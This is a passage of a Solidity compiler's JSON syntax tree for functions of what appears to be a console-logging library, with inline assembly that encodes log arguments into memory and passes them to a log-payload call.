"nodeType":"YulExpressionStatement","src":"191758:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191794:4:22","nodeType":"YulLiteral","src":"191794:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"191800:2:22","nodeType":"YulIdentifier","src":"191800:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191787:6:22","nodeType":"YulIdentifier","src":"191787:6:22"},"nativeSrc":"191787:16:22","nodeType":"YulFunctionCall","src":"191787:16:22"},"nativeSrc":"191787:16:22","nodeType":"YulExpressionStatement","src":"191787:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191823:4:22","nodeType":"YulLiteral","src":"191823:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"191829:2:22","nodeType":"YulIdentifier","src":"191829:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191816:6:22","nodeType":"YulIdentifier","src":"191816:6:22"},"nativeSrc":"191816:16:22","nodeType":"YulFunctionCall","src":"191816:16:22"},"nativeSrc":"191816:16:22","nodeType":"YulExpressionStatement","src":"191816:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191852:4:22","nodeType":"YulLiteral","src":"191852:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"191858:2:22","nodeType":"YulIdentifier","src":"191858:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191845:6:22","nodeType":"YulIdentifier","src":"191845:6:22"},"nativeSrc":"191845:16:22","nodeType":"YulFunctionCall","src":"191845:16:22"},"nativeSrc":"191845:16:22","nodeType":"YulExpressionStatement","src":"191845:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40074,"isOffset":false,"isSlot":false,"src":"191507:2:22","valueSize":1},{"declaration":40077,"isOffset":false,"isSlot":false,"src":"191537:2:22","valueSize":1},{"declaration":40080,"isOffset":false,"isSlot":false,"src":"191567:2:22","valueSize":1},{"declaration":40083,"isOffset":false,"isSlot":false,"src":"191597:2:22","valueSize":1},{"declaration":40086,"isOffset":false,"isSlot":false,"src":"191627:2:22","valueSize":1},{"declaration":40064,"isOffset":false,"isSlot":false,"src":"191771:2:22","valueSize":1},{"declaration":40066,"isOffset":false,"isSlot":false,"src":"191800:2:22","valueSize":1},{"declaration":40068,"isOffset":false,"isSlot":false,"src":"191829:2:22","valueSize":1},{"declaration":40070,"isOffset":false,"isSlot":false,"src":"191858:2:22","valueSize":1}],"id":40088,"nodeType":"InlineAssembly","src":"191484:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40090,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"191896:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":40091,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"191902:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40089,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"191880:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"191880:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40093,"nodeType":"ExpressionStatement","src":"191880:27:22"},{"AST":{"nativeSrc":"191926:156:22","nodeType":"YulBlock","src":"191926:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"191947:4:22","nodeType":"YulLiteral","src":"191947:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"191953:2:22","nodeType":"YulIdentifier","src":"191953:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191940:6:22","nodeType":"YulIdentifier","src":"191940:6:22"},"nativeSrc":"191940:16:22","nodeType":"YulFunctionCall","src":"191940:16:22"},"nativeSrc":"191940:16:22","nodeType":"YulExpressionStatement","src":"191940:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191976:4:22","nodeType":"YulLiteral","src":"191976:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"191982:2:22","nodeType":"YulIdentifier","src":"191982:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191969:6:22","nodeType":"YulIdentifier","src":"191969:6:22"},"nativeSrc":"191969:16:22","nodeType":"YulFunctionCall","src":"191969:16:22"},"nativeSrc":"191969:16:22","nodeType":"YulExpressionStatement","src":"191969:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"192005:4:22","nodeType":"YulLiteral","src":"192005:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"192011:2:22","nodeType":"YulIdentifier","src":"192011:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191998:6:22","nodeType":"YulIdentifier","src":"191998:6:22"},"nativeSrc":"191998:16:22","nodeType":"YulFunctionCall","src":"191998:16:22"},"nativeSrc":"191998:16:22","nodeType":"YulExpressionStatement","src":"191998:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"192034:4:22","nodeType":"YulLiteral","src":"192034:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"192040:2:22","nodeType":"YulIdentifier","src":"192040:2:22"}],"functionName":{"name":"mstore","nativeSrc":"192027:6:22","nodeType":"YulIdentifier","src":"192027:6:22"},"nativeSrc":"192027:16:22","nodeType":"YulFunctionCall","src":"192027:16:22"},"nativeSrc":"192027:16:22","nodeType":"YulExpressionStatement","src":"192027:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"192063:4:22","nodeType":"YulLiteral","src":"192063:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"192069:2:22","nodeType":"YulIdentifier","src":"192069:2:22"}],"functionName":{"name":"mstore","nativeSrc":"192056:6:22","nodeType":"YulIdentifier","src":"192056:6:22"},"nativeSrc":"192056:16:22","nodeType":"YulFunctionCall","src":"192056:16:22"},"nativeSrc":"192056:16:22","nodeType":"YulExpressionStatement","src":"192056:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40074,"isOffset":false,"isSlot":false,"src":"191953:2:22","valueSize":1},{"declaration":40077,"isOffset":false,"isSlot":false,"src":"191982:2:22","valueSize":1},{"declaration":40080,"isOffset":false,"isSlot":false,"src":"192011:2:22","valueSize":1},{"declaration":40083,"isOffset":false,"isSlot":false,"src":"192040:2:22","valueSize":1},{"declaration":40086,"isOffset":false,"isSlot":false,"src":"192069:2:22","valueSize":1}],"id":40094,"nodeType":"InlineAssembly","src":"191917:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"191311:3:22","parameters":{"id":40071,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40064,"mutability":"mutable","name":"p0","nameLocation":"191320:2:22","nodeType":"VariableDeclaration","scope":40096,"src":"191315:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40063,"name":"bool","nodeType":"ElementaryTypeName","src":"191315:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40066,"mutability":"mutable","name":"p1","nameLocation":"191332:2:22","nodeType":"VariableDeclaration","scope":40096,"src":"191324:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40065,"name":"uint256","nodeType":"ElementaryTypeName","src":"191324:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40068,"mutability":"mutable","name":"p2","nameLocation":"191344:2:22","nodeType":"VariableDeclaration","scope":40096,"src":"191336:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40067,"name":"address","nodeType":"ElementaryTypeName","src":"191336:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":40070,"mutability":"mutable","name":"p3","nameLocation":"191356:2:22","nodeType":"VariableDeclaration","scope":40096,"src":"191348:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40069,"name":"uint256","nodeType":"ElementaryTypeName","src":"191348:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"191314:45:22"},"returnParameters":{"id":40072,"nodeType":"ParameterList","parameters":[],"src":"191374:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40136,"nodeType":"FunctionDefinition","src":"192094:1334:22","nodes":[],"body":{"id":40135,"nodeType":"Block","src":"192166:1262:22","nodes":[],"statements":[{"assignments":[40108],"declarations":[{"constant":false,"id":40108,"mutability":"mutable","name":"m0","nameLocation":"192184:2:22","nodeType":"VariableDeclaration","scope":40135,"src":"192176:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40107,"name":"bytes32","nodeType":"ElementaryTypeName","src":"192176:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40109,"nodeType":"VariableDeclarationStatement","src":"192176:10:22"},{"assignments":[40111],"declarations":[{"constant":false,"id":40111,"mutability":"mutable","name":"m1","nameLocation":"192204:2:22","nodeType":"VariableDeclaration","scope":40135,"src":"192196:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40110,"name":"bytes32","nodeType":"ElementaryTypeName","src":"192196:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40112,"nodeType":"VariableDeclarationStatement","src":"192196:10:22"},{"assignments":[40114],"declarations":[{"constant":false,"id":40114,"mutability":"mutable","name":"m2","nameLocation":"192224:2:22","nodeType":"VariableDeclaration","scope":40135,"src":"192216:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40113,"name":"bytes32","nodeType":"ElementaryTypeName","src":"192216:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40115,"nodeType":"VariableDeclarationStatement","src":"192216:10:22"},{"assignments":[40117],"declarations":[{"constant":false,"id":40117,"mutability":"mutable","name":"m3","nameLocation":"192244:2:22","nodeType":"VariableDeclaration","scope":40135,"src":"192236:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40116,"name":"bytes32","nodeType":"ElementaryTypeName","src":"192236:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40118,"nodeType":"VariableDeclarationStatement","src":"192236:10:22"},{"assignments":[40120],"declarations":[{"constant":false,"id":40120,"mutability":"mutable","name":"m4","nameLocation":"192264:2:22","nodeType":"VariableDeclaration","scope":40135,"src":"192256:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40119,"name":"bytes32","nodeType":"ElementaryTypeName","src":"192256:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40121,"nodeType":"VariableDeclarationStatement","src":"192256:10:22"},{"assignments":[40123],"declarations":[{"constant":false,"id":40123,"mutability":"mutable","name":"m5","nameLocation":"192284:2:22","nodeType":"VariableDeclaration","scope":40135,"src":"192276:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40122,"name":"bytes32","nodeType":"ElementaryTypeName","src":"192276:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40124,"nodeType":"VariableDeclarationStatement","src":"192276:10:22"},{"assignments":[40126],"declarations":[{"constant":false,"id":40126,"mutability":"mutable","name":"m6","nameLocation":"192304:2:22","nodeType":"VariableDeclaration","scope":40135,"src":"192296:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40125,"name":"bytes32","nodeType":"ElementaryTypeName","src":"192296:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40127,"nodeType":"VariableDeclarationStatement","src":"192296:10:22"},{"AST":{"nativeSrc":"192325:828:22","nodeType":"YulBlock","src":"192325:828:22","statements":[{"body":{"nativeSrc":"192368:313:22","nodeType":"YulBlock","src":"192368:313:22","statements":[{"nativeSrc":"192386:15:22","nodeType":"YulVariableDeclaration","src":"192386:15:22","value":{"kind":"number","nativeSrc":"192400:1:22","nodeType":"YulLiteral","src":"192400:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"192390:6:22","nodeType":"YulTypedName","src":"192390:6:22","type":""}]},{"body":{"nativeSrc":"192471:40:22","nodeType":"YulBlock","src":"192471:40:22","statements":[{"body":{"nativeSrc":"192500:9:22","nodeType":"YulBlock","src":"192500:9:22","statements":[{"nativeSrc":"192502:5:22","nodeType":"YulBreak","src":"192502:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"192488:6:22","nodeType":"YulIdentifier","src":"192488:6:22"},{"name":"w","nativeSrc":"192496:1:22","nodeType":"YulIdentifier","src":"192496:1:22"}],"functionName":{"name":"byte","nativeSrc":"192483:4:22","nodeType":"YulIdentifier","src":"192483:4:22"},"nativeSrc":"192483:15:22","nodeType":"YulFunctionCall","src":"192483:15:22"}],"functionName":{"name":"iszero","nativeSrc":"192476:6:22","nodeType":"YulIdentifier","src":"192476:6:22"},"nativeSrc":"192476:23:22","nodeType":"YulFunctionCall","src":"192476:23:22"},"nativeSrc":"192473:36:22","nodeType":"YulIf","src":"192473:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"192428:6:22","nodeType":"YulIdentifier","src":"192428:6:22"},{"kind":"number","nativeSrc":"192436:4:22","nodeType":"YulLiteral","src":"192436:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"192425:2:22","nodeType":"YulIdentifier","src":"192425:2:22"},"nativeSrc":"192425:16:22","nodeType":"YulFunctionCall","src":"192425:16:22"},"nativeSrc":"192418:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"192442:28:22","nodeType":"YulBlock","src":"192442:28:22","statements":[{"nativeSrc":"192444:24:22","nodeType":"YulAssignment","src":"192444:24:22","value":{"arguments":[{"name":"length","nativeSrc":"192458:6:22","nodeType":"YulIdentifier","src":"192458:6:22"},{"kind":"number","nativeSrc":"192466:1:22","nodeType":"YulLiteral","src":"192466:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"192454:3:22","nodeType":"YulIdentifier","src":"192454:3:22"},"nativeSrc":"192454:14:22","nodeType":"YulFunctionCall","src":"192454:14:22"},"variableNames":[{"name":"length","nativeSrc":"192444:6:22","nodeType":"YulIdentifier","src":"192444:6:22"}]}]},"pre":{"nativeSrc":"192422:2:22","nodeType":"YulBlock","src":"192422:2:22","statements":[]},"src":"192418:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"192535:3:22","nodeType":"YulIdentifier","src":"192535:3:22"},{"name":"length","nativeSrc":"192540:6:22","nodeType":"YulIdentifier","src":"192540:6:22"}],"functionName":{"name":"mstore","nativeSrc":"192528:6:22","nodeType":"YulIdentifier","src":"192528:6:22"},"nativeSrc":"192528:19:22","nodeType":"YulFunctionCall","src":"192528:19:22"},"nativeSrc":"192528:19:22","nodeType":"YulExpressionStatement","src":"192528:19:22"},{"nativeSrc":"192564:37:22","nodeType":"YulVariableDeclaration","src":"192564:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"192581:3:22","nodeType":"YulLiteral","src":"192581:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"192590:1:22","nodeType":"YulLiteral","src":"192590:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"192593:6:22","nodeType":"YulIdentifier","src":"192593:6:22"}],"functionName":{"name":"shl","nativeSrc":"192586:3:22","nodeType":"YulIdentifier","src":"192586:3:22"},"nativeSrc":"192586:14:22","nodeType":"YulFunctionCall","src":"192586:14:22"}],"functionName":{"name":"sub","nativeSrc":"192577:3:22","nodeType":"YulIdentifier","src":"192577:3:22"},"nativeSrc":"192577:24:22","nodeType":"YulFunctionCall","src":"192577:24:22"},"variables":[{"name":"shift","nativeSrc":"192568:5:22","nodeType":"YulTypedName","src":"192568:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"192629:3:22","nodeType":"YulIdentifier","src":"192629:3:22"},{"kind":"number","nativeSrc":"192634:4:22","nodeType":"YulLiteral","src":"192634:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"192625:3:22","nodeType":"YulIdentifier","src":"192625:3:22"},"nativeSrc":"192625:14:22","nodeType":"YulFunctionCall","src":"192625:14:22"},{"arguments":[{"name":"shift","nativeSrc":"192645:5:22","nodeType":"YulIdentifier","src":"192645:5:22"},{"arguments":[{"name":"shift","nativeSrc":"192656:5:22","nodeType":"YulIdentifier","src":"192656:5:22"},{"name":"w","nativeSrc":"192663:1:22","nodeType":"YulIdentifier","src":"192663:1:22"}],"functionName":{"name":"shr","nativeSrc":"192652:3:22","nodeType":"YulIdentifier","src":"192652:3:22"},"nativeSrc":"192652:13:22","nodeType":"YulFunctionCall","src":"192652:13:22"}],"functionName":{"name":"shl","nativeSrc":"192641:3:22","nodeType":"YulIdentifier","src":"192641:3:22"},"nativeSrc":"192641:25:22","nodeType":"YulFunctionCall","src":"192641:25:22"}],"functionName":{"name":"mstore","nativeSrc":"192618:6:22","nodeType":"YulIdentifier","src":"192618:6:22"},"nativeSrc":"192618:49:22","nodeType":"YulFunctionCall","src":"192618:49:22"},"nativeSrc":"192618:49:22","nodeType":"YulExpressionStatement","src":"192618:49:22"}]},"name":"writeString","nativeSrc":"192339:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"192360:3:22","nodeType":"YulTypedName","src":"192360:3:22","type":""},{"name":"w","nativeSrc":"192365:1:22","nodeType":"YulTypedName","src":"192365:1:22","type":""}],"src":"192339:342:22"},{"nativeSrc":"192694:17:22","nodeType":"YulAssignment","src":"192694:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"192706:4:22","nodeType":"YulLiteral","src":"192706:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"192700:5:22","nodeType":"YulIdentifier","src":"192700:5:22"},"nativeSrc":"192700:11:22","nodeType":"YulFunctionCall","src":"192700:11:22"},"variableNames":[{"name":"m0","nativeSrc":"192694:2:22","nodeType":"YulIdentifier","src":"192694:2:22"}]},{"nativeSrc":"192724:17:22","nodeType":"YulAssignment","src":"192724:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"192736:4:22","nodeType":"YulLiteral","src":"192736:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"192730:5:22","nodeType":"YulIdentifier","src":"192730:5:22"},"nativeSrc":"192730:11:22","nodeType":"YulFunctionCall","src":"192730:11:22"},"variableNames":[{"name":"m1","nativeSrc":"192724:2:22","nodeType":"YulIdentifier","src":"192724:2:22"}]},{"nativeSrc":"192754:17:22","nodeType":"YulAssignment","src":"192754:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"192766:4:22","nodeType":"YulLiteral","src":"192766:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"192760:5:22","nodeType":"YulIdentifier","src":"192760:5:22"},"nativeSrc":"192760:11:22","nodeType":"YulFunctionCall","src":"192760:11:22"},"variableNames":[{"name":"m2","nativeSrc":"192754:2:22","nodeType":"YulIdentifier","src":"192754:2:22"}]},{"nativeSrc":"192784:17:22","nodeType":"YulAssignment","src":"192784:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"192796:4:22","nodeType":"YulLiteral","src":"192796:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"192790:5:22","nodeType":"YulIdentifier","src":"192790:5:22"},"nativeSrc":"192790:11:22","nodeType":"YulFunctionCall","src":"192790:11:22"},"variableNames":[{"name":"m3","nativeSrc":"192784:2:22","nodeType":"YulIdentifier","src":"192784:2:22"}]},{"nativeSrc":"192814:17:22","nodeType":"YulAssignment","src":"192814:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"192826:4:22","nodeType":"YulLiteral","src":"192826:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"192820:5:22","nodeType":"YulIdentifier","src":"192820:5:22"},"nativeSrc":"192820:11:22","nodeType":"YulFunctionCall","src":"192820:11:22"},"variableNames":[{"name":"m4","nativeSrc":"192814:2:22","nodeType":"YulIdentifier","src":"192814:2:22"}]},{"nativeSrc":"192844:17:22","nodeType":"YulAssignment","src":"192844:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"192856:4:22","nodeType":"YulLiteral","src":"192856:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"192850:5:22","nodeType":"YulIdentifier","src":"192850:5:22"},"nativeSrc":"192850:11:22","nodeType":"YulFunctionCall","src":"192850:11:22"},"variableNames":[{"name":"m5","nativeSrc":"192844:2:22","nodeType":"YulIdentifier","src":"192844:2:22"}]},{"nativeSrc":"192874:17:22","nodeType":"YulAssignment","src":"192874:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"192886:4:22","nodeType":"YulLiteral","src":"192886:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"192880:5:22","nodeType":"YulIdentifier","src":"192880:5:22"},"nativeSrc":"192880:11:22","nodeType":"YulFunctionCall","src":"192880:11:22"},"variableNames":[{"name":"m6","nativeSrc":"192874:2:22","nodeType":"YulIdentifier","src":"192874:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"192974:4:22","nodeType":"YulLiteral","src":"192974:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"192980:10:22","nodeType":"YulLiteral","src":"192980:10:22","type":"","value":"0x1bb3b09a"}],"functionName":{"name":"mstore","nativeSrc":"192967:6:22","nodeType":"YulIdentifier","src":"192967:6:22"},"nativeSrc":"192967:24:22","nodeType":"YulFunctionCall","src":"192967:24:22"},"nativeSrc":"192967:24:22","nodeType":"YulExpressionStatement","src":"192967:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193011:4:22","nodeType":"YulLiteral","src":"193011:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"193017:2:22","nodeType":"YulIdentifier","src":"193017:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193004:6:22","nodeType":"YulIdentifier","src":"193004:6:22"},"nativeSrc":"193004:16:22","nodeType":"YulFunctionCall","src":"193004:16:22"},"nativeSrc":"193004:16:22","nodeType":"YulExpressionStatement","src":"193004:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193040:4:22","nodeType":"YulLiteral","src":"193040:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"193046:2:22","nodeType":"YulIdentifier","src":"193046:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193033:6:22","nodeType":"YulIdentifier","src":"193033:6:22"},"nativeSrc":"193033:16:22","nodeType":"YulFunctionCall","src":"193033:16:22"},"nativeSrc":"193033:16:22","nodeType":"YulExpressionStatement","src":"193033:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193069:4:22","nodeType":"YulLiteral","src":"193069:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"193075:2:22","nodeType":"YulIdentifier","src":"193075:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193062:6:22","nodeType":"YulIdentifier","src":"193062:6:22"},"nativeSrc":"193062:16:22","nodeType":"YulFunctionCall","src":"193062:16:22"},"nativeSrc":"193062:16:22","nodeType":"YulExpressionStatement","src":"193062:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193098:4:22","nodeType":"YulLiteral","src":"193098:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"193104:4:22","nodeType":"YulLiteral","src":"193104:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"193091:6:22","nodeType":"YulIdentifier","src":"193091:6:22"},"nativeSrc":"193091:18:22","nodeType":"YulFunctionCall","src":"193091:18:22"},"nativeSrc":"193091:18:22","nodeType":"YulExpressionStatement","src":"193091:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193134:4:22","nodeType":"YulLiteral","src":"193134:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"193140:2:22","nodeType":"YulIdentifier","src":"193140:2:22"}],"functionName":{"name":"writeString","nativeSrc":"193122:11:22","nodeType":"YulIdentifier","src":"193122:11:22"},"nativeSrc":"193122:21:22","nodeType":"YulFunctionCall","src":"193122:21:22"},"nativeSrc":"193122:21:22","nodeType":"YulExpressionStatement","src":"193122:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40108,"isOffset":false,"isSlot":false,"src":"192694:2:22","valueSize":1},{"declaration":40111,"isOffset":false,"isSlot":false,"src":"192724:2:22","valueSize":1},{"declaration":40114,"isOffset":false,"isSlot":false,"src":"192754:2:22","valueSize":1},{"declaration":40117,"isOffset":false,"isSlot":false,"src":"192784:2:22","valueSize":1},{"declaration":40120,"isOffset":false,"isSlot":false,"src":"192814:2:22","valueSize":1},{"declaration":40123,"isOffset":false,"isSlot":false,"src":"192844:2:22","valueSize":1},{"declaration":40126,"isOffset":false,"isSlot":false,"src":"192874:2:22","valueSize":1},{"declaration":40098,"isOffset":false,"isSlot":false,"src":"193017:2:22","valueSize":1},{"declaration":40100,"isOffset":false,"isSlot":false,"src":"193046:2:22","valueSize":1},{"declaration":40102,"isOffset":false,"isSlot":false,"src":"193075:2:22","valueSize":1},{"declaration":40104,"isOffset":false,"isSlot":false,"src":"193140:2:22","valueSize":1}],"id":40128,"nodeType":"InlineAssembly","src":"192316:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40130,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"193178:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40131,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"193184:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40129,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"193162:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40132,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"193162:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40133,"nodeType":"ExpressionStatement","src":"193162:27:22"},{"AST":{"nativeSrc":"193208:214:22","nodeType":"YulBlock","src":"193208:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"193229:4:22","nodeType":"YulLiteral","src":"193229:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"193235:2:22","nodeType":"YulIdentifier","src":"193235:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193222:6:22","nodeType":"YulIdentifier","src":"193222:6:22"},"nativeSrc":"193222:16:22","nodeType":"YulFunctionCall","src":"193222:16:22"},"nativeSrc":"193222:16:22","nodeType":"YulExpressionStatement","src":"193222:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193258:4:22","nodeType":"YulLiteral","src":"193258:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"193264:2:22","nodeType":"YulIdentifier","src":"193264:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193251:6:22","nodeType":"YulIdentifier","src":"193251:6:22"},"nativeSrc":"193251:16:22","nodeType":"YulFunctionCall","src":"193251:16:22"},"nativeSrc":"193251:16:22","nodeType":"YulExpressionStatement","src":"193251:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193287:4:22","nodeType":"YulLiteral","src":"193287:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"193293:2:22","nodeType":"YulIdentifier","src":"193293:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193280:6:22","nodeType":"YulIdentifier","src":"193280:6:22"},"nativeSrc":"193280:16:22","nodeType":"YulFunctionCall","src":"193280:16:22"},"nativeSrc":"193280:16:22","nodeType":"YulExpressionStatement","src":"193280:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193316:4:22","nodeType":"YulLiteral